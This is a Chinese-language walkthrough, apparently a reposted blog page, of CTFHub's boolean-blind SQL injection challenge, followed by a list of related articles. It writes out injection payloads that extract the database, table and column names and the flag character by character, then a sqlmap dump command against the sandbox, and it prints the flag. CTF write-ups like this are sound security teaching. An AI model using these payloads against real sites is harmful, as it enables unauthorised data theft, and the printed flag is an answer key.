CTFHUB技能树之SQL——布尔盲注

ops/2024/10/24 3:49:56/

开启靶场,打开链接:

输入1:

显示查询成功但没有回显出相关信息,初步判断是布尔盲注入、时间盲注或报错注入


输入1':

还是没有回显


输入1":

还是没有回显,到这里已经可以确认是布尔盲注了,且是整数型注入


(1)爆数据库

下面为了方便就用burp进行操作:

先判断数据库名的长度:

1 and length(database())=1#

得到数据库名长度是4


下面需要用到ascii表:


先是第一个字符:

1 and ascii(substr(database(),1,1))=100#

说明第一个字符是115,对应字符's'


后面第二、三、四个字符也是类似的步骤:

1 and ascii(substr(database(),2,1))=100#

1 and ascii(substr(database(),3,1))=100#

1 and ascii(substr(database(),4,1))=100#

组合起来就是"sqli"


(2)爆表名

先得爆出表的数量

1 and (select count(table_name) from information_schema.tables where table_schema=database())>2#

显示查询出错,说明表有两个,再试试:

1 and (select count(table_name) from information_schema.tables where table_schema=database())=2#

查询成功,说明表有两个


这里为了节省时间就直接爆第二个表的字符了

(因为知道是news表和flag表)

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=50#

1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=50 #

上面这两句就是分别查询数据库的第一个表和第二个表的第一个字符,区别已经用颜色标出


1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=100#

第一个字符是"f",后续就不多描述了,是flag表


(3)爆列名

先爆出列的数量

1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=2#

1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag')=1#


先爆列的第一个字符:

1 and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name = 'flag' order by ordinal_position limit 0,1), 1, 1)) = 100#

(ORDER BY ORDINAL_POSITION:按照列的顺序位置排序)

第一个字符是"f",后续就不多描述了,是flag列


(4)爆字段内容(flag)

先爆字段长度:

1 and (select length(flag) from sqli.flag limit 1) = 10 #


1 and ascii(substr((select flag from sqli.flag limit 0,1), 1, 1)) = 99 #

说明第一个字符是"c"


后续流程实在是太长了,就直接用sqlmap直接爆了

python sqlmap.py -u "http://challenge-3178d4a1492b39d2.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

得到flag:

ctfhub{a7709502382fa7e2f7ab5864}


http://www.ppmy.cn/ops/127995.html

相关文章

深入理解 SQL 中的高级数据处理特性:约束、索引和触发器

在 SQL(Structured Query Language)中,除了基本的查询、插入、更新和删除操作外,还有一些高级的数据处理特性,它们对于确保数据的完整性、提高查询性能以及实现自动化的数据处理起着至关重要的作用。这些特性包括约束、…

redis过期提醒

文章目录 redis过期提醒 redis过期提醒 有一次看redis的配置文件发现一个notify-keyspace-events配置,注释里边长篇大论的,那我得看看这是干啥的,看完注释内容,发现不得了了,redis竟然还有过期提醒的功能 接下来得大…

elasticsearch中的向量检索,语义检索,RRF,kNN,ANN,HNSW

kNN 算法 (k-Nearest Neighbor) KNN可以说是最简单的分类算法之一,同时,它也是最常用的分类算法之一。 kNN算法的核心思想是如果一个样本在特征空间中的k个最相邻的样本中的大多数属于某一个类别,则该样本也属于这个…

【记录】Django数据库的基础操作

数据库连接 在Django中使用 mysqlclient 这个包用于数据库的连接,切换至 Django环境中直接 pip install mysqlclient 安装此包 1 数据库连接配置 在项目目录下的setting.py中配置 DATABASES {default: {ENGINE: django.db.backends.mysql,NAME: mini,#数据库名US…

mqtt客户端订阅一直重复连接?

文章 前言错误场景问题分析解决方案后言 前言 ✨✨ 他们是天生勇敢的开发者,我们创造bug,传播bug,毫不留情地消灭bug,在这个过程中我们创造了很多bug以供娱乐。 前端bug这里是博主总结的一些前端的bug以及解决方案,感兴…

苍穹外卖笔记

缓存商品 需求分析 用户端小程序展示的菜品数据都是通过查询数据库获得,如果用户端访问量比较大,数据库访问压力随之增大。造成程序卡顿,系统反应慢,体验差。 实现思路 通过Redis来缓存菜品数据,减少数据库查询操作…

软件分享丨PDF Shaper

【资源名】PDF Shaper 【地址】https://www.pdfshaper.com/ 【资源介绍】 PDF Shaper Professional是一款功能强大的PDF文档编辑与转换工具,使用它可以对PDF文件进行各种转换、提取、合并、旋转、加密、解密等编辑操作,主要功能有分割和合并PDF文件&…

信息安全工程师(64)其他恶意代码分析与防护

前言 恶意代码是指那些能够损害系统用户和系统所有者利益的软件,是故意在计算机系统上执行恶意任务的恶意代码的集合。 一、恶意代码分析 病毒(Virus) 定义:病毒是一种人为制造的、能够进行自我复制的、具有对计算机资源的破坏作用…